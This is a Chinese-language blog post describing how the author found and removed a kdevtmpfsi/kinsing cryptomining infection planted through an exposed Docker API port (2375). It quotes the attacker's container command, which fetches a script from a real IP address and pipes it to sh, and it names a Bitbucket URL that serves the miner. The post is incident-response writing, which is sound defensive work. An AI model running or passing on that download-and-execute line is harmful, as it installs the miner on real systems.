一次在docker中處理kdevtmpfsi的經歷

無聊夫斯基發表於2020-01-02

一次在docker中處理kdevtmpfsi的經歷
開局一張圖,內容全靠編。

下午的時候工友突然問我的小水管有沒有被拉過去挖礦,然後讓我看了一眼簡訊截圖。嘖嘖嘖,是不是在伺服器上下了什麼不該下的東西?本著工友之間友好互助的原則,要來了伺服器的密碼開搞。

拿到機器第一件事應該是看哪個程式佔用CPU。使用top觀察了一會兒,kdevtmpfsi這個程式CPU一直在99左右,應該就是它了。

一次在docker中處理kdevtmpfsi的經歷

依照上次伺服器被掛馬的經歷,首先應該檢查伺服器是否有可疑的定時任務。使用crontab -l命令來檢視當前的伺服器的定時任務。

一次在docker中處理kdevtmpfsi的經歷
居然沒有定時任務,那就先kill掉程式試試,通過kill {PID} 的方式結束程式,看著CPU是降下來了,然後再找本地是不是又相關的檔案。

一次在docker中處理kdevtmpfsi的經歷

看到這個東西的時候,感覺有點摸不著頭腦,居然跟docker有關,接著使用docker ps -a 檢視本地正在執行的容器。其他容器我都認識,這個ubuntu的容器是偷渡來的吧?

一次在docker中處理kdevtmpfsi的經歷

先觀察一下這個ubuntu容器,docker inspect ubuntu。

一次在docker中處理kdevtmpfsi的經歷

"apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null"。看到這個args裡面出現cron start,看來這個cronjob藏在容器裡,還好這個東西隻影響docker容器裡的東西,如果在宿主機上,那不是爆炸了。這麼說的話,基本只要把docker停掉,就不會有後續的問題了,但是如果還想繼續用docker的話,還要繼續下去。

使用命令docker exec -ti ubuntu /bin/bash進入容器。在容器中,先使用top命令,看看是不是真的是這個容器的問題,實錘了,就是它。

一次在docker中處理kdevtmpfsi的經歷

通過crontab -l來檢視當前容器的cronjob,每分鐘去執行一遍d.sh這個指令碼。

一次在docker中處理kdevtmpfsi的經歷

既然找到了定時任務,刪掉就好了,但是在/etc/crontab中找不到該定時任務,可以使用crontab -e命令來刪除。看到top命令中,有兩個可疑的程式kdevtmpfs和kinsing,通過kill {PID}來殺掉程式。除了殺掉程式,還要刪除跟這兩個程式相關的檔案。通過find命令找到在/tmp和/var/tmp下有殘留的檔案,使用sudo rm -rf命令刪除時出現rm: cannot remove 'xxx': Operation not permitted,震驚。Google後發現大概是用了chattr命令鎖定了檔案,使用chattr -i filename解鎖,清理殘留後,刪除本地的映象和容器也就差不多了。

你以為這樣的結束了嗎?實際上第二天ubuntu這個映象又自動拉下來自己啟動起來了。後來才發現,工友的阿里雲伺服器開放了docker預設埠2375,關掉這個埠就完事了。

其實上面這些都是廢話,把docker停掉不就沒這麼多事情了,不過上面解決問題的過程也適用於宿主機,就當一次演習了。雖然上面一頓操作猛如虎,但是實際上還是沒解決根本問題讓我確實有點挫敗。後來瞄了一樣別人的shell指令碼,各種刪除解許可權,刪程式,停服務,關閉防火牆。後面去https://bitbucket.org/orgaj125/git 下載kinsing並執行起來。即使知道別人怎麼搞你,但是無能為力啊。

相關文章